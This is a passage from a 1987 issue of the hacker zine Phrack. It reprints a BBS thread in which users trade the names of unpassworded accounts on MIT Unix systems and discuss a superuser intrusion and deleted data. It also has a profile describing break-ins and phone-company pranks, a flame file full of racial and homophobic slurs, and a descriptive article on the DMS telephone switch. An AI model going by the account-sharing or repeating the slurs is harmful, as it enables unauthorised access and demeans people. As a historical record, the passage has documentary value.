Daniel Hoggart (Bureau of Alcohol, Tobacco, and Firearms): There is no violation in publishing the information. The violation only occurs when someone actually follows through on the instructions and actually constructs a bomb.

Russ: Another bulletin board that is becoming more and more prevalent these days is the Aryian Nation. This one [bulletin board] in Chicago says, "If you are an anti‑Communist you have made the right connection...on the other hand, if you are consumed with such myths as Judeo‑Christianity, you most definitely dialed the wrong number."

Stan Anderman (Anti‑Defamation League): Some of this really extreme hatred is an attempt to create an environment where violence becomes acceptable.

Russ: Like most computer bulletin boards the Aryian Nation message is legal and falls under free speech laws. However, a bill is scheduled to go to congress this session outlawing the kinds of bulletin boards we saw here tonight.

But, for the moment, hackers should not be too surprised if something unusual pops up on their computer terminal. [Ahem, Russ, you did it again. All computer users are *NOT* hackers.]

Typed For PWN's Usage by Knight Lightning

________________________________________

MIT Unix: Victim or Aggressor? January 23 ‑ February 2, 1987

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Is the MIT system an innocent victim of hacker oppression or simply another trap to capture unsuspecting hackers in the act?

It all started like this...

[Some posts have been slightly edited to be relevant to the topic]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MIT

Name: Druidic Death

Date: 12:49 am Mon Jan 20, 1986

Lately I've been messing around on MIT's VAX in there Physics Department.

Recently some one else got on there and did some damage to files. However MIT told me that they'll still trust us to call them. The number is:

617‑253‑XXXX

We have to agree to the following or we will be kicked off, they will create a "hacker" account for us.

<1> Use only GUEST, RODNEY, and GAMES. No other accounts until the hacker one is made. There are no passwords on these accounts.

<2> Make sure we log off properly. Control‑D. This is a UNIX system.

<3> Not to call between 9 AM and 5 PM Eastern Standard Time. This is to avoid tying up the system.

<4> Leave mail to GEORGE only with UNIX questions (or C). And leave our handles so he'll know who we are.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Unix

Name: Celtic Phrost

Date: 4:16 pm Mon Jan 20, 1986

Thanks Death for the MIT computer, I've been working on getting into them for weeks. Here's another you can play around with:

617/258‑XXXX

login:GUEST

Or use a WHO command at the logon to see other accounts, it has been a long time since I played with that system, so I am unsure if the GUEST account still works, but if you use the WHO command you should see the GUEST account needed for applying for your own account.

‑Phrost

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Unix

Name: Celtic Phrost

Date: 5:35 pm Mon Jan 20, 1986

Ok, sorry, but I just remembered the application account, its: OPEN Gawd, I am glad I got that off my chest!

‑(A relieved)Celtic Phrost.

Also on that MIT computer Death listed, some other default accounts are:

LONG MIKE GREG NEIL DAN

Get the rest yourself, and please people, LEAVE THEM UNPASSWORDED!

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MIT

Name: Druidic Death #12

Date: 1:16 am Fri Jan 23, 1987

MIT is pretty cool. If you haven't called yet, try it out. Just PLEASE make sure you follow the little rules they asked us about! If someone doesn't do something right the sysop leaves the gripe mail to me. Check out my directory under the guest account just type "cd Dru". Read the first file.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MIT

Name: Ctrl C

Date: 12:56 pm Sat Jan 24, 1987

MIT Un‑Passworded Unix Accounts: 617‑253‑XXXX

ALEX BILL GAMES DAVE GUEST DAN GREG MIKE LONG NEIL TOM TED BRIAN RODNEY VRET GENTILE ROCKY SPIKE KEVIN KRIS TIM

And PLEASE don't change the Passwords....

‑=>Ctrl C<=‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MIT Again

Name: Druidic Death

Date: 1:00 pm Wed Jan 28, 1987

Ok people, MIT is pissed, someone hasn't been keeping the bargain and they aren't too thrilled about it. There were only three things they asked us to do, and they were reasonable too. All they wanted was for us to not compromise the security much more than we had already, logoff properly, not leave any processes going, and call only during non‑business hours, and we would be able to use the GUEST accounts as much as we like.

Someone got real nice and added themselves to the "daemon" group which is superusers only, the name was "celtic". Gee, I wonder who that could have been? I'm not pissed at anyone, but I'd like to keep on using MIT's computers, and they'd love for us to be on, but they're getting paranoid. Whoever is calling besides me, be cool ok? They even gave me a voice phone to chat with their sysops with. How often do you see this happen?

a little perturbed but not pissed...

DRU'

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Tsk, Celtic.

Name: Evil Jay

Date: 9:39 am Thu Jan 29, 1987

Well, personally I don't know why anyone would want to be a superuser on the system in question. Once you've been on once, there is really nothing that interesting to look at...but anyway.

‑EJ

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In trouble again...

Name: Celtic Phrost

Date: 2:35 pm Fri Jan 30, 1987

...I was framed!! I did not add myself to any "daemon" group on any MIT UNIX. I did call once, and I must admit I did hang up without logging off, but this was due to a faulty program that would NOT allow me to break out of it, no matter what I tried. I am sure that I didn't cause any damage by that.

‑Phrost

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Major Problems

Name: Druidic Death

Date: 12:20 pm Sat Jan 31, 1987

OK, major stuff going down. Some unidentified individual logged into the Physics Dept's PDP11/34 at 617‑253‑XXXX and was drastically violating the "agreement" we had reached. I was the one that made the "deal" with them. And they even gave me a voice line to talk to them with.

Well, one day I called the other Physics computer, the office AT and discovered that someone created an account in the superuser DAEMON group called "celtic". Well, I was contacted by Brian through a chat and he told me to call him. Then he proceeded to nicely inform me that "due to unauthorized abuse of the system, the deal is off".

He was cool about it and said he wished he didn't have to do that. Then I called George, the guy that made the deal and he said that someone who said he was "Celtic Phrost" went on to the system and deleted nearly a year's worth of artificial intelligence data from the nuclear fission research base.

Needless to say I was shocked. I said that he can't believe that it was one of us, that as far as I knew everyone was keeping the deal. Then he (quite pissed off) said that he wanted all of our names so he can report us to the FBI. He called us fags, and all sorts of stuff, he was VERY!! [underline twice] PISSED! I don't blame him. Actually I'm not blaming Celtic Phrost, it very easily could have been a frame up.

But another thing is George thinks that Celtic Phrost and Druidic Death are one and the same, in other words, he thinks that *I* stabbed him in the back. Basically he just doesn't understand the way the hacker community operates.

Well, the deal is off, they plan to prosecute whoever they can catch. Since George is my best friend's brother I have not only lost a friend, but I'm likely to see some legal problems soon. Also, I can forget about doing my graduate work at MIT. Whoever did this damage to them, I hope you're happy. You really messed things up real nice for a lot of people.

Celtic, I don't have any reason to believe you messed with them. I also have no reason to think you didn't. I'm not making an accusation against you, but WHOEVER did this, deserves to be shot as far as I'm concerned. Until this data was lost, they were on the verge of harnessing a laser‑lithium produced form of nuclear fission that would have been more efficient than using the standard hydrogen. Well, back to the drawing board now.

I realize that it's hard to believe that they would have data like this on this system. But they were quite stupid in many other areas too. Leaving the superuser account with no password?? Think about it.

It's also possible that they were exaggerating. But regardless, damage seems to have been done.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MIT

Name: Phreakenstein

Date: 1:31 am Sun Feb 01, 1987

Heck! I dunno, but whoever it was, I think, should let himself (the s00per K‑rad elyte d00d he is) be known.

I wasn't on MIT, but it was pretty dumb of MIT to even let Hackers on. I wouldn't really worry though, they did let you on, and all you have to prove is that you had no reason to do it.

‑‑‑‑Phreak

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I wonder...

Name: Ax Murderer #15

Date: 6:43 pm Sun Feb 01, 1987

I highly doubt that is was someone on this system. Since this is an elite board, I think all the users are pretty decent and know right and wrong things to do. Could be that one of the users on this system called another system and gave it out!?? Nahh...shooting the asshole is not enough, let's think of something better.

Ax Murderer

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

It was stupid

Name: Druidic Death #12

Date: 9:21 pm Sun Feb 01, 1987

It seems to me, or, what I gathered, they felt that there were going to be hackers on the system to begin with and that this way they could keep themselves basically safe.

I doubt that it was Celtic Phrost, I don't think he'd be an asshole like that. But I can't say. When I posted, I was pretty pissed about the whole deal. I've calmed down now. Psychic Warlord said something to me voice the other day that made me stop and think. What if this was a set up right from the start? I mean, MIT won't give me specifics on just what supposedly happened, Celtic Phrost denies everything, and the biggest part of it is what George said to me.

"We can forgive you for what you did to us if you'll promise to go straight and never do this again and just tell us who all of your friends are that are on the system".

I didn't pay much attention to that remark at first, now I'm beginning to wonder...

I, of course, didn't narc on anyone. (Who do I know??? hehe)

DRU'

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Well

Name: Solid State

Date: 11:40 pm Sun Feb 01, 1987

Well if they were serious about the FBI, I wouldn't take this too lightly. Lately at Stanford there has been a lot of investigators that I've pinpointed running around. This is mainly due to the number of break‑ins this summer.

Anyways, if a large college like MIT says they may call in the FBI, be wary, but don't over‑react.

SOLID STATE

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Comments...

Name: Delta‑Master

Date: 7:15 am Mon Feb 02, 1987

It wouldn't surprise me if it was some kind of setup, it's been done before.

Delta‑Master

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Oh well...

Name: Evil Jay

Date: 8:56 am Mon Feb 02, 1987

I think your all wrong. The MIT lines have been around for a long time and are widely known among the rodents. Anyone with a g‑file could hack out a password on the system so it looks to me like someone just messed around and just happened to use Phrost as a flunkie. Oh well...

‑EJ

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

All posts taken from:

___

/ )

\___ | |

\ |_ _ _| _

(___/ | ) ( \ ( | (_) \/\/

\_‑_‑_‑_‑_‑_‑_‑_‑_‑_‑_‑_‑_‑_‑_‑_‑_

"We're not ELITE... we're just cool as hell."

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Information Provided indirectly/directly by

Ax Murderer/Celtic Phrost/Ctrl C/Delta‑Master/Druidic Death Evil Jay/Phreakenstein/Solid State

________________________________________

Phortune 500: Phreakdom's Newest Organization February 16, 1987

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

For those of you who are in the least bit interested, Phortune 500 is a group of telecommunication hobbyists who's goal is to spread information as well as further their own knowledge in the world of telecommunications. This new group was formed by:

Brew Associates/Handsomest One/Lord Lawless/The Renegade Chemist Quinton J. Miranda/Striker/The Mad Hacker/The Spiker

These eight members are also known as Board Of Directors (BOD). They don't claim to be *Elite* in the sense that they are they world's greatest hackers, but they ARE somewhat picky about their members. They prefer someone who knows a bit about everything and has talents exclusive to him/herself.

One of the projects that Phortune 500 has completed is an individual password AE type system. It's called TransPhor. It was written and created by Brew Associates. It has been Beta tested on The Undergraduate Lounge (Sysoped by Quinton J. Miranda). It is due to be released to the public throughout the next few months.

Phortune 500 has been in operation for about 4 months, and has released two newsletters of their own. The Phortune 500 Newsletter is quite like the "People" of contemporary magazines. While some magazines cover the deep technical aspects of the world in which we communicate, their newsletter tries to cover the lighter side while throwing in information that they feel is "of technical nature." The third issue is due to be released by the end of this month.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

*>=‑> The Phortune 500 Membership Questionnaire <‑=<*

Note: The following information is of a totally confidential nature. The reason you may find this so lengthy and in depth is for our knowledge of you. We, with Phortune 500, feel as though we should know prospective members well before we allow them into our organization. Pending the answers you supply us, you will be admitted to Phortune 500 as a charter member. Please answer the following completely...

........................................

Handle :

First Name :

Voice Phone Number :

Data Phone Number :

City & State :

Age :

Occupation (If Applicable) :

Place of Employment (Optional) :

Work Phone Number (Optional) :

Computer Type :

Modem Type :

Interests :

Areas Of Expertise :

References (No More Than Three) :

Major Accomplishments (If Any) :

........................................

Answer In 50 Words Or Less;

^*^ What Is Phortune 500 in Your Opinion?

^*^ Why Do You Want To Be Involved With Phortune 500?

^*^ How Can You Contribute to Phortune 500?

........................................

Please answer each question to the best of your ability and then return to any Phortune 500 Board of Directors Member Or a Phortune 500 BBS:

The Private Connection (Limited Membership) 219‑322‑7266 The Undergraduate AE (Private Files Only) 602‑990‑1573

Information provided by

Quinton J. Miranda & Phortune 500 Board Of Directors

________________________________________

PWN Quicknote

‑‑‑‑‑‑‑‑‑‑‑‑‑

At the University of Rhode Island there is supposed to be some undercover agent for Bay Bell. Supposedly he hangs out at the library and watches for people checking out the Bell Technical Journals. Then he asks questions like, 'What do you want those for?' 'Do you know what 2600Hz is?' and other similar questions. He isn't registered at the school and of course has no classes. [Sounds bogus to me...oh well‑KL]. Information by Asmodeus Rex (1/21/87)

________________________________________

12

- Index of Phrack 12 by Taran King

- Pro-Phile IX on Agrajag The Prolonged by Taran King

- Preview to Phrack 13-The Life & Times of The Executioner by The Executioner

- Understanding the Digital Multiplexing System (DMS) by Control C

- The Total Network Data System by Doom Prophet

- CSDC II - Hardware Requirements by The Executioner

- Hacking by Evil Jay

- Busy Line Verification Part II by Phantom Phreaker

- Scan Man's Rebuttal to Phrack World News by Scan Man

- Phrack World News XII Part I by Knight Lightning

- Phrack World News XII Part II by Knight Lightning

Index of Phrack 12

==Phrack Inc.==

Volume Two, Issue 12, Phile #1 of 11

Index

~~~~

3/29/87

Ok, so we made it through another few delayed weeks of saying a release was coming soon. But of course, I finally got motivated and got this issue moving. I'd like to thank many of the people who rushed themselves to get their articles to me when they didn't know that the release was so soon, and for those that haven't gotten their articles in in time (for two issues, mind you [no names mentioned, of course, but I felt a denotation would be sufficient to provide my feelings in the introduction]) a big, "Oh well." We're glad you've continued your patronage (Ha!) with Phrack Inc. over the past year and a half or so and a big thanks to all of the writers who have kept the publication going for all this time. But after this issue comes a break. Not a break in putting Phrack out, but a break in the grind and rush to get it out as I did with this issue. Phrack 13 will be EXTREMELY different, and I guarantee that to you. Phrack 13 will be released on April 1st (hmm...ring any bells?) so be watching for it! Later

Taran King

Sysop of Metal Shop Private

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This issue of Phrack Inc. includes the following:

#1 Index of Phrack 12 by Taran King (2.3 k)

#2 Pro‑Phile IX on Agrajag The Prolonged by Taran King (6.7 k) #3 Preview to Phrack 13‑The Life & Times of The Executioner (4.9 k) #4 Understanding the Digital Multiplexing System (DMS) by Control C (18.8 k) #5 The Total Network Data System by Doom Prophet (13.2 k)

#6 CSDC II ‑ Hardware Requirements by The Executioner (8.1 k)

#7 Hacking : OSL Systems by Evil Jay (8.7 k)

#8 Busy Line Verification Part II by Phantom Phreaker (9.1 k)

#9 Scan Man's Rebuttal to Phrack World News (16.5 k)

#10 Phrack World News XII Part I by Knight Lightning (13.3 k)

Pro-Phile IX on Agrajag The Prolonged

==Phrack Inc.==

Volume Two, Issue 12, Phile #2 of 11

==Phrack Pro‑Phile IX==

Written and Created by Taran King

3/17/87

Welcome to Phrack Pro‑Phile V. Phrack Pro‑Phile is created to bring info to you, the users, about old or highly important/controversial people. This month, I bring to you a name from the past...

Agrajag The Prolonged

~~~~~~~~~~~~

Agrajag was popular on many boards and hung out with many of the stronger names in the phreak/hack community.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Personal

~~~~~~~~

Handle: Agrajag The Prolonged

Call him: Keith

Past handles: None

Handle origin: Fictional character in Hitchhiker Trilogy Date of Birth: 6/14/67

Age at current date: 19 years old

Height: 6'2"

Weight: 139 lbs.

Eye color: Brown

Hair Color: Depends on the day (Orange, Brown, Black, Hot Pink, etc.) Computers: TRS Model III, worked his way up to a TVI 950 Dumb Terminal

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Agrajag started phreaking and hacking in about 1979 through the help of some friends of his. He originally started hacking (programming) on a Vector 8080 in 4th grade. His instructor then is now one of the top 5 computer instructors. Phreaking began with, of course, codes but he was very interested in how the phone system worked. He had read some books on the phone company and their evils in their earlier days and he was very interested in the very idea of becoming an operator. Members of the elite world which he has met include Tuc, BIOC Agent 003, Broadway Hacker (negative), and Cheshire Catalyst, all at a Tap meeting he attended. On regular BBSes, there were listings for other BBSes which turned out to eventually be phreak BBSes. Some of the memorable phreak boards he was on included WOPR, OSUNY, Plovernet, and Pirate 80. His phreaking and hacking knowledge came about with the group of people including Tuc, BIOC, and Karl Marx.

Agrajag was a video game programmer for the last American owned video game manufacturer, Cinematronix, Inc. (of Dragon's Lair, Space Ace, World Series, and Danger Zone fame, of which he helped with World Series and a big part of Danger Zone) which went bankrupt a bit over a month ago.

Agrajag takes interviews for magazines (such as this) which keeps up his phreak/hack activity. He (and a bunch of others) were written up in a USA Today article as well as being interviewed by a local paper when The Cracker (Bill Landreth) got busted (they took pictures of the back of his head in front of his computer).

Agrajag was never in any major phreak groups except for The Hitchhikers (Bring your towel!) which was just a group of local friends.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Interests: Telecommunications (modeming, phreaking, hacking, programming), music, concerts, club hopping, and video games.

Agrajag's Favorite Thing

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Club/Bar hopping: Tijuanna (TJ)

Most Memorable Experiences

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Going officing. Tuc, BIOC, and he were let into a local CO and they used their copying machine to make copies of their manuals. They replaced the paper [over 2 reams] later and didn't steal anything major besides the paper and a few NY Bell signs.

Called supervisors saying that they had witnessed some trunks red‑lighting and there would be severe problems if they didn't contact this guy, Abbot Went, in San Francisco. There were about 10 supervisors in mass hysteria (on Thanksgiving) wondering what to do. Later, they called up Abbot again saying they were the White House switch and said some kids were fooling around.

Breaking into his school's computer in his senior year mid‑semester. He had scanned it out on a school prefix and the login and password was the name of his school. It was a TOPS‑20 system and he was well enough versed in TOPS‑20 to know what to do. The next day, he told the vice‑principal that he had broken into the computer and that they had some major security problems. They said he was bullshitting and he told them to read their mail. Then, later, he brought in his equipment and showed them with the principal there. He was threatened by the principal with police, etc. but he told them to go to hell. He was later offered a job helping the security on the system but instead, he told them how they could solve the security problem and didn't take the job.

Agrajag's teacher asking him to do a credit check on someone illegally. He eventually did part of it, but the teacher was an asshole so he didn't give all the information to him.

Getting flown to the Tap meeting by a friend.

Some People to Mention

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Tuc

BIOC Agent 003

Karl Marx

Automatic Jack

All for being friends and all around good people and phreaks.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Agrajag is out and out against the idea of the destruction of data. He hated a person intensely because they posted private lines with instructions on how to maim a system owned by someone who was already hated. He deleted the message (he was co‑sysop) and it became a bit controversial. He hated that then and still has no respect for anyone who does this. Where have all the good times gone?

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I hope you enjoyed this phile, look forward to more Phrack Pro‑Philes coming in the near future. ...And now for the regularly taken poll from all interviewees.

Of the general population of phreaks you have met, would you consider most phreaks, if any, to be computer geeks? The general populus, yes, but good phreaks, no. Thank you for your time, Agrajag.

Taran King

Preview to Phrack 13-The Life & Times of The Executioner

==Phrack Inc.==

Volume Two, Issue 12, Phile #3 of 11

%%%%%%%%%%%%%%%%%%%%%%%%

%

% The Life & Times of The Executioner %

%

% by Oryan QUEST %

%

% Written on 3/16/87 %

%

%%%%%%%%%%%%%%%%%%%%%%%%

Introduction:

‑‑‑‑‑‑‑‑‑‑‑‑

This file was not written with the intention of being cute, funny or to tell fellow phreaks and hacks how lame or stupid they are. It was written to open the eyes of these idiots to see what the REAL story is.

The Executioner/Mikey

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I'm am sure the majority of you have heard of "Exy." His claim to fame is simply telling people how lame they are or how great and sexy he is. He also claims to be wealthy and that Phreak Klass 2600 is the best bulletin board on this side of the galaxy. Let us examine some key events.

When Metal Shop Private was up, Mr. Sexy Exy (oh and I doubt he really is), proceeded to rag on everyone on the system with the exception of a few that he ass‑kissed. He then turns around when Phreak Klass 2600 (and I am in no way ragging on Phreak Klass) goes up, to ask everyone he has annoyed for over 2 months and badgers them to call. Now, Mike, I seriously doubt you are as sexy as you claim for several reasons. Just by the nature of your attitude, the way you think you are powerful because you can "tell" people about their lives and families when you yourself are a Chinese bastard who has an unemployed father that can barely speak the English language.

"Miko ith no heeahh riiitte nao" (Michael is no here right now)

You have ragged on Arthur Dent when you know that you will NEVER receive the admiration or stature whether it be socially or economically he has attained. You have ragged on Dr. Doom when he has achieved more than you can ever hope for. You only commenced to rag on him when he turned down your offer to join PhoneLine Phantoms. This is because he refused to be associated with an asshole like you. You continually show signs of immaturity (I am not saying I am perfect) by poking fun at other people's races (blacks, spics, Iranians) when you yourself are nothing but a rice dick.

You bad mouth people but, when you need their help you beg for it and ask them to be cool. You write stupid poems and rhymes about people when they are a TOTAL misrepresentation of facts. You claim Dr. Doom is so ugly he could never leave his room. Tell me, have you ever met Dr. Doom? Isn't it true that you ragged on him only because he didn't want anything to do with you, your group, and your image?

Are you going to rag on me now and prove all the points I have brought out? I think so. You ragged on me, telling me my family receives government cheese handouts and telling me what a loser I am when you yourself have never met me or bothered to seek the real facts. You then proceeded to badger me to join your new "legion of queers," The Network Technicians telling me how cool it would be and begging me to help you learn. But don't I receive government cheese handouts? Aren't I such a loser? Mr. Solid State trusted you and joined PLP. He thought nothing bad of you at the time. He just considered all the rumors about you to be false or misrepresentation. When PLP dissolved, he saw no purpose to be in any longer and dropped out. You proceeded to rag on him, when you know you aren't half the man he is. You don't even possess half the knowledge or personality he has. Tell me, what gives you such authority to rag on people? What makes you so supreme? Why are you so rich, when you are 18 and don't even have a car, when you go on and on about your parents?

You rag on Atlantis because you were kicked off. Now you tell people how lame it is and how stupid The Lineman and Sir William are. When you know that they were sick of your, "I am supreme attitude," of your childish antics and your lack of knowledge of any kind.

Well, Exy, rag on me now, tell me how lame I am, insult me. Make your poems, songs, and raps. Tell me what kind of a loser I am. Insult Solid State, show us just how childish you can be. Until then, go back into your dream world and leave us alone.

Understanding the Digital Multiplexing System (DMS)

==Phrack Inc.==

Volume Two, Issue 12, Phile #4 of 11

<%><%><%><%><%><P><h><a><n><t><a><s><i><e><%><%><%><%><%> <S> A Tribunal Communications Ltd. (c) 1987 <S>

<h> p>

<a>Understanding the Digital Multiplexing System (DMS)<a> <d> Part 1 <w> <o> By Control C <n> <w><%><%><%><%><%><R><e><a><l><m><%><%><%><%><%><%><%><!>

The DMS switching system, is a lot smaller than normal systems. It takes up less than 16% of the space for the same number of Step‑By‑Step (SXS) lines and 20% of cross bar. This is done by taking the hardware out of the CO and putting them closer to a group of subscribers. Then central office services can be provided over shorter loops.

DMS offers remote switching with a bunch of remote modules in a bunch of sizes and capabilities. Some include SXS replacement or growth, Outside plant cable relief, and Office feature's. The use of remote modules give the CO more floor space that would usually be used by the Line Concentrating Modules (LCMs), Main Distribution Frame (MDF), and cable equipment. The advantage of these modules is that it extends the service radius of the CO, this means outside plant savings. Remote modules can be located up to 150 miles away without messing up transmissions.

Other advantages of the DMS system are that it allows integration between Transmission facilities and switching systems. It's hardware & software is designed to give a full range of switching applications for Private Branch Exchange (PBX) business systems, local, toll, and local/toll requirements. The same Central Control Complex (CCC) and switching networks are used throughout the whole system. The only difference between each system is the peripheral units, and software packages. It has a Maintenance and Administration Position (MAP) which is a integrated multifunction machine interface that switch maintenance, line and trunk network management, and service order changes can be carried out.

The software for the central processor is written in PROTEL, a high level pascal based language. Peripheral processors use a XMS‑Pascal software language.

DMS has a high line and trunk capacity. It has up to 100,000 lines on a DMS‑100 or 60,000 trunks on a DMS‑200. It also gives up to 1.4 million two‑way CCS through the switching network. The processor can accept up to 350,000 call attempts.

Here's a list of the DMS systems in use today:

DMS‑100 ‑ is a class 5 local office with the ability to handle 1,000 to 100,000 lines. It can give basic telephone service or expanded to handle IBN custom calling features. The DMS‑100 MTX gives cellular radio services. A local office can also be adapted to Equal Access End Office (EAEO).

Remote Switching Center (RSC) ‑ Ability to handle up to 5,760 lines.

Remote Line Concentrating Module (RLCM) ‑ Ability to handle up to 640 lines. It uses host Line Concentrator Module (LCM) that can be used by the RSC or directly by the host DMS‑100.

Outside Plant Module (OPM) ‑ Ability to handle up to 640 lines. This also can be used by the RSC or directly by the host DMS‑100.

Subscriber Carrier Module (SCM‑100) ‑ There are three basic types of SCM‑100's:

1‑ Subscriber Carrier Module Rural (SCM‑100R) ‑ This eliminates the central office Central Control Terminal (CCT) by integrating directly into the DMS‑100 through the DMS‑1 span lines.

2‑ Subscriber Carrier Module SLC‑96 (SCM‑100S) ‑ This gives a direct interface between DMS‑100 and AT&T's SLC‑96 digital loop carrier systems.

3‑ Subscriber Carrier Module Urban (SCM‑100U) ‑ It's used as an interface to the DMS‑1 Urban. The DMS‑1 urban is a digital subscriber carrier system modified for use in Urban areas. It gives Plan Ordinary Telephone Service (POTS) and special services between a central office and residential and business communities. It has the ability to handle 576 lines of POTS and special services.

DMS‑200 ‑ Has the ability to handle from a few hundred to 60,000 trunks. This switch can also serve a Access Tandem (AT) function. The Traffic Operator Position System (TOPS) puts operator services into the DMS‑200. Operator Centralization (OC) allows a single operator location by using the TOPS positions to transfer operator services from other DMS‑200 toll centers. The Auxiliary Operator Services System (AOSS) let operator services on calls that need outside information (Such as Directory assistance).

DMS‑100/200 ‑ Allows local and toll features described above but also includes a Equal Access End Office (EAEO)/Access Tandem (AT) combination. It has the ability to handle up to 100,000 lines or 60,000 trunks.

DMS‑250 ‑ This is a high capacity toll system for specialized common carriers needing tandem switching operations.

DMS‑300 ‑ This is a toll system designed for international use. To my knowledge there are only two DMS‑300 switches in use at this time.

DMS switches are divided into four "Functional" areas designed to do certain operations. These areas are:

1‑ Central Control Complex (CCC)

2‑ Network (NET)

3‑ Peripheral Modules (PM)

4‑ Maintenance and Administration (MAP)

Here's a description of those areas.

Central Control Complex

Within the Central Control Complex (CCC), the main program in the switch controls the processing of calls, maintenance and administrative routines, and changes the activity for these routines to other areas of the switch. The CCC sends messages to the network, the maintenance and administrative areas trough message links and directs the functions to be run in those areas.

Network

The Network Modules (NMs) handle the routing of speech paths between the Peripheral Modules (PMs) and keep these speech connections for the rest of the call. The network handles message and speech links between the PMs and the CCC.

Maintenance and Administration

Within the Maintenance and Administration includes Input/Output Controllers (IOCs) ‑ IOCs interface local or remote input/output devices. The I/O devices are used to do testing, maintenance, or administrative functions for the system.

Peripheral Modules

Peripheral Modules (PMs) are used as interfaces between digital carrier spans (DS‑1), analog trunks, and subscriber lines. The PMs are used for scanning lines for changes of circuit state, doing timing functions used for call processing, creating dial tones, sending, receiving signaling, and controlling information to and from the CCC, and checking the network.

Before 1984 only four types of PMs gave trunk interfaces to the DMS system; these include Trunk Modules (TMs), Digital Carrier Modules (DCMs), Line Modules (LMs), and Remote Line Modules (RLMs). Since then ten more have been added, these include Digital Trunk Controller (DTC), Line Group Controller (LGC), Line Trunk Controller (LTC), Line Concentrating Module (LCM), Remote Switching Center (RSC), Remote Line Concentrating Module (RLCM), Outside Plant Module (OPM), Subscriber Carrier Module Rural (SCM‑100R), Subscriber Carrier Module SLC‑96 (SCM‑100S), and Subscriber Carrier Module Urban (SCM‑100U).

Here's and explanation of those modules:

Trunk Module

The Trunk Module (TM) changes incoming speech into digital format, it has the ability to handle 30 analog trunks. The Pulse Code Modulation (PCM) information is combined with the trunks supervisory and control signals then transmitted at 2.56 Mb/s over speech links to the network.

The TM also uses service circuits such as Multifrequency (MF) receivers, announcement trunks, and test circuits. Each TM has the ability to interface 30 analog trunks or service circuits to the network over one 32‑channel speech link. The TM is not traffic sensitive so each trunk can carry 36 CCS.

Digital Carrier Module

